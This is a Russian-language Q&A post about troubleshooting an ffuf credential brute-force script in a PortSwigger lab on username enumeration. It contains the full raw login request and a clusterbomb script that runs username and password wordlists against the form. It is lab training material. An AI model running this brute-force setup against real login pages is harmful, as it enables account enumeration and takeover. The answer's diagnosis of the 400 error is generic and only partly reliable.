Вопрос или проблема
Я работаю над лабораторной работой на PortSwigger.com под названием Перечисление имен пользователей через разные ответы. При использовании ffuf
для решения лабораторной работы, вывод постоянно возвращает код состояния 400
.
Вот что я пробовал до сих пор. Вот файл с нагрузкой запроса, а также файл скрипта. Обратите внимание, что в файле скрипта я использую -mode clusterbomb
. Однако это не имеет значения, так как тот же код состояния возвращается при использовании -mode sniper
:
POST /login HTTP/2
Host: 0a470020046a9a9e82dcf24e005100d9.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 26
Origin: https://0a470020046a9a9e82dcf24e005100d9.web-security-academy.net
Connection: keep-alive
Referer: https://0a470020046a9a9e82dcf24e005100d9.web-security-academy.net/login
Cookie: session=IuAfPDAxBDUC0ePVk9a9AAF3giPAyWYV
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
username=U&password=P
#!/usr/bin/env zsh
printf "\nотправка запроса: перечисление ..\n"
ffuf -request ./reqsPayload.txt \
-request-proto http \
-mode clusterbomb \
-w ./payloadsCredentials/usernames1.txt:U \
-w ./payloadsCredentials/passwords1.txt:P \
-mc all \
-t 1 \
-p 1.0-2.0 \
-ic \
-se | tee ./resp.txt
При фуззинге цели с помощью ffuf
, целевой параметр должен быть FUZZ
, FUZZ1
, FUZZ2
и т.д.
Иными словами, замените U
на FUZZ1
, а P
на FUZZ2
:
POST /login HTTP/2
Host: 0a470020046a9a9e82dcf24e005100d9.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Content-Length: 26
Origin: https://0a470020046a9a9e82dcf24e005100d9.web-security-academy.net
Connection: keep-alive
Referer: https://0a470020046a9a9e82dcf24e005100d9.web-security-academy.net/login
Cookie: session=IuAfPDAxBDUC0ePVk9a9AAF3giPAyWYV
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
username=FUZZ1&password=FUZZ2
#!/usr/bin/env zsh
printf "\nотправка запроса: перечисление ..\n"
ffuf -request ./reqsPayload.txt \
-request-proto http \
-mode clusterbomb \
-w ./payloadsCredentials/usernames1.txt:FUZZ1 \
-w ./payloadsCredentials/passwords1.txt:FUZZ2 \
-mc all \
-t 1 \
-p 1.0-2.0 \
-ic \
-se | tee ./resp.txt
Ответ или решение
Для решения проблемы, когда команда ffuf
возвращает статус-код 400, независимо от режима (clusterbomb, pitchfork, sniper), необходимо убедиться, что синтаксис запроса и используемые переменные корректны.
Как вы уже заметили, одним из основных требований для успешного использования ffuf
является наличие обязательных меток FUZZ
, FUZZ1
, FUZZ2
и т.д. в файле с запросом, которые указывают ffuf
, где подставлять значения из ваших файлов со словами. В вашем случае вы заменяете U
на FUZZ1
и P
на FUZZ2
, что является правильным шагом.
Вот пример исправленного HTTP-запроса и скрипта:
Исправленный HTTP-запрос (reqsPayload.txt
):
POST /login HTTP/2
Host: 0a470020046a9a9e82dcf24e005100d9.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Origin: https://0a470020046a9a9e82dcf24e005100d9.web-security-academy.net
Connection: keep-alive
Referer: https://0a470020046a9a9e82dcf24e005100d9.web-security-academy.net/login
Cookie: session=IuAfPDAxBDUC0ePVk9a9AAF3giPAyWYV
Upgrade-Insecure-Requests: 1
username=FUZZ1&password=FUZZ2
Исправленный скрипт:
#!/usr/bin/env zsh
printf "\nsending request: enumerating ..\n"
ffuf -request ./reqsPayload.txt \
-request-proto http \
-mode clusterbomb \
-w ./payloadsCredentials/usernames1.txt:FUZZ1 \
-w ./payloadsCredentials/passwords1.txt:FUZZ2 \
-mc all \
-t 1 \
-p 1.0-2.0 \
-ic \
-se | tee ./resp.txt
Важные моменты, которые стоит проверить:
-
Правильность меток: Убедитесь, что в запросе правильно указаны
FUZZ1
иFUZZ2
. Это те места, кудаffuf
будет вставлять данные из ваших файлов со словами. -
Правильный формат данных: Проверьте, что ваши файлы со словами (usernames1.txt и passwords1.txt) содержат несущие данные, и они соответствуют тому, что ожидает сервер. Например, неправильные форматы логина или пароля могут привести к ошибкам запроса.
-
Настройки сервера: В некоторых случаях сервис может требовать дополнительных заголовков или определённого формата данных. Проверьте ответы сервера на стандартные запросы, чтобы выяснить, не требуется ли дополнительная аутентификация или специальные параметры.
-
Отладка ответа сервера: Попробуйте использовать
-mc
для фильтрации статусов (например,-mc 200
или другие) и проверьте, что нет других ошибок, которые могут приводить к статус-коду 400. Также можно запускатьcurl
с теми же параметрами, чтобы увидеть полный ответ от сервера и понять, в чём состоит проблема.
Следуя вышеуказанным рекомендациям, вы сможете корректировать запрос и устранить ошибки, вызывающие статус-код 400.